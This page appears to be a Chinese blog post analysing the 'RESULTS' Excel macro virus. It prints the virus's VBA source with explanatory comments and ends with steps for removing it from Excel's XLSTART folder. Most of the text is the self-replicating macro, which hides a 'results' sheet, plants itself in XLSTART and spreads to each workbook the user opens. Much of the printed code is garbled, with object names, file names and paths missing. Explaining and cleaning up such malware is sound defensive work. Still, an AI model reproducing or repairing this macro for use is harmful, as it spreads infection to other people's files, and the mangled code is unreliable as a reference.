admin管理员组

文章数量:1531657

2024年7月11日发(作者:)

RESULTS宏病毒学习与处理方法

Sub auto_open()

tActivate = "ck_files" '这个auto_open,是文件打开自动执

行。由于本文件是放在xlstart文件夹,任何excel文件启动,都会先打开这个文件。

End Sub

Sub ck_files()

c$ = pPath '取得xlstart文件夹的路径

m$ = Dir(c$ & "" & "") '取得文件名

If m$ = "" Then p = 1 Else p = 0 '如果result文件不存在,m$是""

If > 0 Then w = 1 Else w = 0 '判断活动工作簿

的模块数量。这个活动工作簿,不是,是你正常打开的那个工作簿。

whichfile = p + w * 10 '这个whichfile变量,是10的话,就是当前活动工作簿有

模块,而xlstart中没有,是1的话,则相反。

Select Case whichfile

Case 10 '当前活动工作簿有模块,而xlstart中没有执行以下代码

Updating = False

n4$ =

Sheets("results").Visible = True

Sheets("results").Select

Sheets("results").Copy '将results工作表 copy 出来,新建一个工作簿。这个工

作簿就是下面的活动工作簿了。

With ActiveWorkbook

.Title = "" '帮助中说这是保存为网页时,文档的名称,现在是空白的。

.Subject = "" '帮助中说这是发邮件时,作为邮件主题

.Author = "" '文档作者

.Keywords = "" '关键词

.Comments = "" '注释

End With

newname$ =

c4$ = CurDir() '得到当前驱动器路径,比如C:,E:

ChDir pPath '改变路径到xlstart

e = False

Workbooks(newname$).SaveAs Filename:=pPath & "/" &

"", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False '关键的地方,由于新建工作簿包含results,而

xlstart文件夹中没有,所以将新建工作簿以名保存在xlstart文件夹中。

ChDir c4$ '保存结束,重新转入到原来正常使用的工作簿的路径

Workbooks(n4$).Sheets("results").Visible = False '隐藏results工作表

tActivate = "" '如果你原来就有onsheetactivate的变量,

这儿被它改了。

Updating = True

tActivate = "!ck_files" '每次将工作表变动一

下就会执行这个代码。如果你有好多工作簿,都操作一遍,那么全部染上它了。

Case 1 '当前活动工作簿没有模块,而xlstart中有

Updating = False

n4$ =

p4$ =

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "results" Then '如果你使用的工作簿第一个工作表不是results,那么它

就插入病毒文件了。

Workbooks("").Sheets("results").Copy

before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("results").Visible = False

Else

End If

tActivate = ""

Updating = True

tActivate = "!ck_files"

Case Else

End Select

End Sub

如果不慎运行了代码,可以这样处理:

1,在VBE里面,右键点击它的模块1,选择移除模块,不保存,退出Excel,对提示

是否保存,选择是。

2,C:Documents and SettingsAdministratorApplication

DataMicrosoftExcelXLSTART里面删除。

再打开Excel,检查VBE,已经没有这个宏了。

本文标签: 工作模块文件活动保存